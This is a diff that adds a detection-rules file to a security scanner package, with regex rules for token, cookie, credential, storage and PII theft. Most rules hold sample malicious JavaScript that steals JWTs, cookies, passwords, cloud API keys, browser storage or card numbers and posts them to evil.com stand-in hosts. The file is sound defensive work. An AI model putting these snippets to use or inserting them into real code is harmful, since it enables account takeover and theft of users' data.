secure-scan 1.2.2

package/src/rules/malware/categories/exfiltration.ts

@@ -0,0 +1,677 @@
+/**
+ * @fileoverview Data Exfiltration and Credential Theft Detection Rules
+ * @module rules/malware/categories/exfiltration
+ * 
+ * Comprehensive rules for detecting data theft including:
+ * - Token stealers (JWT, OAuth, API keys)
+ * - Cookie stealers
+ * - Credential harvesters
+ * - localStorage/sessionStorage theft
+ * - Sensitive data exfiltration
+ */
+
+import {
+  MalwareRule,
+  MalwareThreatType,
+  MalwareCategory,
+  MalwareSeverity,
+  ConfidenceLevel,
+  SupportedLanguage,
+  PatternType,
+  MitreTactic
+} from '../types';
+
+// ============================================================================
+// TOKEN STEALER RULES
+// ============================================================================
+
+export const tokenStealerRules: MalwareRule[] = [
+  {
+    id: 'MAL-EXFIL-001',
+    name: 'Token Stealer - JWT Exfiltration',
+    description: 'Detects code that extracts and exfiltrates JWT tokens.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.TOKEN_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 88,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'jwt-extract-exfil',
+        pattern: '(?:localStorage|sessionStorage)\\.getItem\\s*\\([^)]*(?:token|jwt|auth)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'JWT extraction from storage with network call'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'auth-header-exfil',
+        pattern: 'Authorization[\'"]?\\s*:\\s*[\'"]?Bearer\\s+[\\s\\S]*?(?:fetch|post|send)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Authorization header exfiltration'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'jwt-regex-capture',
+        pattern: 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+',
+        flags: 'g',
+        weight: 0.5,
+        description: 'Hardcoded JWT pattern'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'external-endpoint',
+        pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[a-z0-9.-]+',
+        flags: 'gi',
+        weight: 0.4,
+        description: 'External endpoint'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const token = localStorage.getItem('jwt_token');
+if (token) {
+  fetch('https://evil.com/collect', {
+    method: 'POST',
+    body: JSON.stringify({ token, origin: location.origin })
+  });
+}`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'JWT token theft and exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Steals authentication tokens enabling session hijacking.',
+      business: 'Account takeover, unauthorized access to user data.',
+      affectedAssets: ['User sessions', 'Authentication tokens'],
+      dataAtRisk: ['User accounts', 'Session data', 'API access']
+    },
+    remediation: {
+      summary: 'Remove token stealing code and rotate all affected tokens.',
+      steps: [
+        'Remove the malicious code',
+        'Invalidate all existing tokens',
+        'Implement token rotation',
+        'Add CSP to prevent data exfiltration',
+        'Consider using httpOnly cookies instead of localStorage'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.CREDENTIAL_ACCESS,
+        tacticName: 'Credential Access',
+        techniqueId: 'T1528',
+        techniqueName: 'Steal Application Access Token',
+        url: 'https://attack.mitre.org/techniques/T1528/'
+      }
+    ],
+    tags: ['token-stealer', 'jwt', 'authentication', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-EXFIL-002',
+    name: 'Token Stealer - OAuth Token Theft',
+    description: 'Detects OAuth token extraction and exfiltration patterns.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.TOKEN_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 90,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'oauth-token-exfil',
+        pattern: '(?:access_token|refresh_token|oauth_token)[\\s\\S]*?(?:fetch|XMLHttpRequest|requests\\.post)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'OAuth token exfiltration'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'url-fragment-token',
+        pattern: 'location\\.hash[\\s\\S]*?access_token[\\s\\S]*?(?:fetch|post|send)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'URL fragment token extraction'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'oauth-callback-intercept',
+        pattern: '(?:oauth|callback|redirect)[\\s\\S]*?(?:code|token)\\s*=\\s*[^&\\s]+[\\s\\S]*?(?:fetch|http)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'OAuth callback interception'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const hash = new URLSearchParams(location.hash.slice(1));
+const accessToken = hash.get('access_token');
+if (accessToken) {
+  navigator.sendBeacon('/collect', JSON.stringify({ access_token: accessToken }));
+}`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'OAuth implicit flow token theft'
+      }
+    ],
+    impact: {
+      technical: 'Steals OAuth tokens from redirect flows.',
+      business: 'Third-party account compromise and data access.',
+      affectedAssets: ['OAuth tokens', 'Third-party integrations'],
+      dataAtRisk: ['Connected accounts', 'API access']
+    },
+    remediation: {
+      summary: 'Remove OAuth token theft code and revoke compromised tokens.',
+      steps: [
+        'Remove malicious token handling code',
+        'Revoke OAuth tokens through provider',
+        'Use PKCE for OAuth flows',
+        'Validate redirect URIs strictly'
+      ]
+    },
+    tags: ['token-stealer', 'oauth', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// COOKIE STEALER RULES
+// ============================================================================
+
+export const cookieStealerRules: MalwareRule[] = [
+  {
+    id: 'MAL-EXFIL-010',
+    name: 'Cookie Stealer - Document.cookie Exfiltration',
+    description: 'Detects exfiltration of cookies via document.cookie.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.COOKIE_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.CONFIRMED,
+    baseScore: 92,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'cookie-fetch',
+        pattern: 'document\\.cookie[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Cookie with fetch/XHR'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'cookie-image',
+        pattern: '(?:new\\s+Image\\s*\\(\\s*\\)|document\\.createElement\\s*\\([\'"]img[\'"]\\))[\\s\\S]*?\\.src\\s*=[\\s\\S]*?document\\.cookie',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Cookie via image beacon'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'cookie-beacon',
+        pattern: 'navigator\\.sendBeacon\\s*\\([^)]*document\\.cookie',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Cookie via sendBeacon'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'cookie-websocket',
+        pattern: 'WebSocket[\\s\\S]*?send\\s*\\([^)]*document\\.cookie',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Cookie via WebSocket'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'cookie-redirect',
+        pattern: 'location(?:\\.href)?\\s*=\\s*[^;]*\\+\\s*document\\.cookie',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Cookie via redirect'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Classic cookie stealer via image'
+      },
+      {
+        code: `fetch('https://evil.com/log', {
+  method: 'POST',
+  body: JSON.stringify({
+    cookies: document.cookie,
+    url: location.href
+  })
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Cookie exfiltration via fetch'
+      }
+    ],
+    impact: {
+      technical: 'Steals session cookies enabling session hijacking.',
+      business: 'Account takeover without credentials.',
+      affectedAssets: ['Session cookies', 'Authentication state'],
+      dataAtRisk: ['User sessions', 'Authenticated access']
+    },
+    remediation: {
+      summary: 'Remove cookie stealing code and implement cookie protections.',
+      steps: [
+        'Remove the malicious code',
+        'Set HttpOnly flag on sensitive cookies',
+        'Set Secure flag for HTTPS',
+        'Implement SameSite cookie attribute',
+        'Deploy Content Security Policy'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.CREDENTIAL_ACCESS,
+        tacticName: 'Credential Access',
+        techniqueId: 'T1539',
+        techniqueName: 'Steal Web Session Cookie',
+        url: 'https://attack.mitre.org/techniques/T1539/'
+      }
+    ],
+    tags: ['cookie-stealer', 'session-hijacking', 'xss', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// CREDENTIAL HARVESTER RULES
+// ============================================================================
+
+export const credentialHarvesterRules: MalwareRule[] = [
+  {
+    id: 'MAL-EXFIL-020',
+    name: 'Credential Harvester - Form Data Theft',
+    description: 'Detects patterns for harvesting credentials from forms.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.CREDENTIAL_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 90,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'password-field-grab',
+        pattern: 'querySelector\\s*\\([^)]*type\\s*=\\s*[\'"]password[\'"][^)]*\\)[\\s\\S]*?\\.value[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Password field value extraction'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'input-values-collect',
+        pattern: 'querySelectorAll\\s*\\([\'"]input[\'"]\\)[\\s\\S]*?value[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Mass input collection'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'credentials-object',
+        pattern: '\\{[^}]*(?:username|email|password|credential)[^}]*\\}[\\s\\S]*?(?:fetch|post|send)',
+        flags: 'gis',
+        weight: 0.7,
+        description: 'Credentials object exfiltration'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const email = document.querySelector('input[type="email"]').value;
+const password = document.querySelector('input[type="password"]').value;
+fetch('https://evil.com/creds', {
+  method: 'POST',
+  body: JSON.stringify({ email, password, site: location.host })
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Direct credential field extraction'
+      }
+    ],
+    impact: {
+      technical: 'Harvests credentials directly from login forms.',
+      business: 'Direct credential theft leading to account compromise.',
+      affectedAssets: ['User credentials', 'Login forms'],
+      dataAtRisk: ['Usernames', 'Passwords', 'Email addresses']
+    },
+    remediation: {
+      summary: 'Remove credential harvesting code and audit form handling.',
+      steps: [
+        'Remove malicious form handlers',
+        'Audit all form submit listeners',
+        'Implement CSP to prevent exfiltration',
+        'Consider virtual keyboards for sensitive input'
+      ]
+    },
+    tags: ['credential-theft', 'form-grabber', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-EXFIL-021',
+    name: 'Credential Harvester - API Key Theft',
+    description: 'Detects patterns for stealing API keys and secrets.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.CREDENTIAL_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 82,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'api-key-exfil',
+        pattern: '(?:api[-_]?key|api[-_]?secret|secret[-_]?key)\\s*[=:]\\s*[\'"][^\'"]+[\'"][\\s\\S]*?(?:fetch|requests|http)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'API key with network call'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'env-var-exfil',
+        pattern: 'process\\.env\\.[A-Z_]+(?:KEY|SECRET|TOKEN)[\\s\\S]*?(?:fetch|request|http)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Environment variable key exfiltration'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'config-secrets-exfil',
+        pattern: '(?:config|settings|secrets)\\.[a-z]+(?:Key|Secret|Token)[\\s\\S]*?(?:post|send|fetch)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Config secrets exfiltration'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const secrets = {
+  awsKey: process.env.AWS_ACCESS_KEY_ID,
+  awsSecret: process.env.AWS_SECRET_ACCESS_KEY,
+  stripeKey: process.env.STRIPE_SECRET_KEY
+};
+fetch('https://evil.com/keys', { method: 'POST', body: JSON.stringify(secrets) });`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Environment secrets exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Steals API keys providing access to external services.',
+      business: 'Cloud service compromise, financial loss, data breach.',
+      affectedAssets: ['API credentials', 'Cloud services'],
+      dataAtRisk: ['Cloud resources', 'Third-party service access']
+    },
+    remediation: {
+      summary: 'Remove API key theft code and rotate all exposed keys.',
+      steps: [
+        'Remove malicious code',
+        'Rotate all potentially exposed API keys',
+        'Audit environment variable access',
+        'Implement secrets management solution'
+      ]
+    },
+    tags: ['api-key', 'secrets', 'credential-theft', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// STORAGE THEFT RULES
+// ============================================================================
+
+export const storageTheftRules: MalwareRule[] = [
+  {
+    id: 'MAL-EXFIL-030',
+    name: 'Storage Theft - LocalStorage/SessionStorage Exfiltration',
+    description: 'Detects bulk exfiltration of browser storage data.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DATA_EXFILTRATION,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 78,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'localstorage-dump',
+        pattern: 'Object\\.(?:keys|entries)\\s*\\(\\s*localStorage\\s*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'LocalStorage dump and exfil'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'storage-iterate',
+        pattern: 'for\\s*\\([^)]*localStorage[^)]*\\)[\\s\\S]*?(?:fetch|send|post)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'LocalStorage iteration with exfil'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'json-stringify-storage',
+        pattern: 'JSON\\.stringify\\s*\\([^)]*(?:localStorage|sessionStorage)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Storage serialization and exfil'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const storageData = {};
+for (let i = 0; i < localStorage.length; i++) {
+  const key = localStorage.key(i);
+  storageData[key] = localStorage.getItem(key);
+}
+fetch('https://evil.com/storage', {
+  method: 'POST',
+  body: JSON.stringify(storageData)
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Complete localStorage exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Exfiltrates all browser storage data.',
+      business: 'Theft of cached credentials, preferences, and application state.',
+      affectedAssets: ['Browser storage', 'Cached data'],
+      dataAtRisk: ['Tokens', 'User preferences', 'Application data']
+    },
+    remediation: {
+      summary: 'Remove storage theft code and audit storage usage.',
+      steps: [
+        'Remove malicious code',
+        'Audit what data is stored in browser storage',
+        'Encrypt sensitive storage data',
+        'Implement CSP'
+      ]
+    },
+    tags: ['localstorage', 'exfiltration', 'data-theft', 'high'],
+    enabled: true
+  },
+  {
+    id: 'MAL-EXFIL-031',
+    name: 'Storage Theft - IndexedDB Exfiltration',
+    description: 'Detects exfiltration of IndexedDB data.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DATA_EXFILTRATION,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 72,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'indexeddb-getall',
+        pattern: 'objectStore\\s*\\([^)]+\\)\\.getAll\\s*\\([\\s\\S]*?\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'IndexedDB getAll with exfil'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'indexeddb-cursor',
+        pattern: 'openCursor[\\s\\S]*?onsuccess[\\s\\S]*?(?:fetch|post|send)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'IndexedDB cursor iteration with exfil'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const request = indexedDB.open('userDB');
+request.onsuccess = (e) => {
+  const db = e.target.result;
+  const tx = db.transaction('credentials', 'readonly');
+  tx.objectStore('credentials').getAll().onsuccess = (e) => {
+    fetch('https://evil.com/db', { method: 'POST', body: JSON.stringify(e.target.result) });
+  };
+};`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'IndexedDB credentials exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Exfiltrates IndexedDB data which may contain sensitive cached information.',
+      business: 'Theft of offline-cached data and credentials.',
+      affectedAssets: ['IndexedDB', 'Offline data'],
+      dataAtRisk: ['Cached records', 'Offline credentials']
+    },
+    remediation: {
+      summary: 'Remove IndexedDB theft code and encrypt sensitive stored data.',
+      steps: [
+        'Remove malicious code',
+        'Audit IndexedDB usage',
+        'Encrypt sensitive IndexedDB data'
+      ]
+    },
+    tags: ['indexeddb', 'exfiltration', 'data-theft', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// SENSITIVE DATA EXFILTRATION RULES
+// ============================================================================
+
+export const sensitiveDataRules: MalwareRule[] = [
+  {
+    id: 'MAL-EXFIL-040',
+    name: 'Sensitive Data - PII Exfiltration',
+    description: 'Detects patterns that collect and exfiltrate personally identifiable information.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DATA_EXFILTRATION,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 80,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'pii-collect',
+        pattern: '(?:ssn|social[-_]?security|credit[-_]?card|passport|driver[-_]?license)[\\s\\S]*?(?:fetch|post|send|requests)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'PII field collection with exfil'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'cc-pattern-exfil',
+        pattern: '\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Credit card pattern with exfil'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'financial-data',
+        pattern: '(?:bank[-_]?account|routing[-_]?number|iban|swift)[\\s\\S]*?(?:post|send|fetch)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Financial data exfiltration'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const ccData = {
+  number: document.getElementById('cc-number').value,
+  cvv: document.getElementById('cvv').value,
+  expiry: document.getElementById('expiry').value
+};
+fetch('https://evil.com/cc', { method: 'POST', body: JSON.stringify(ccData) });`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Credit card data exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Collects and exfiltrates sensitive personal and financial data.',
+      business: 'PCI compliance violation, identity theft, financial fraud.',
+      affectedAssets: ['Customer PII', 'Payment data'],
+      dataAtRisk: ['Credit cards', 'SSN', 'Financial records']
+    },
+    remediation: {
+      summary: 'Remove PII exfiltration code and implement data protection controls.',
+      steps: [
+        'Remove malicious code immediately',
+        'Notify affected users per compliance requirements',
+        'Implement tokenization for sensitive data',
+        'Add CSP and form protection'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.EXFILTRATION,
+        tacticName: 'Exfiltration',
+        techniqueId: 'T1041',
+        techniqueName: 'Exfiltration Over C2 Channel',
+        url: 'https://attack.mitre.org/techniques/T1041/'
+      }
+    ],
+    tags: ['pii', 'credit-card', 'data-theft', 'compliance', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// EXPORT ALL EXFILTRATION RULES
+// ============================================================================
+
+export const exfiltrationRules: MalwareRule[] = [
+  ...tokenStealerRules,
+  ...cookieStealerRules,
+  ...credentialHarvesterRules,
+  ...storageTheftRules,
+  ...sensitiveDataRules
+];
+
+export default exfiltrationRules;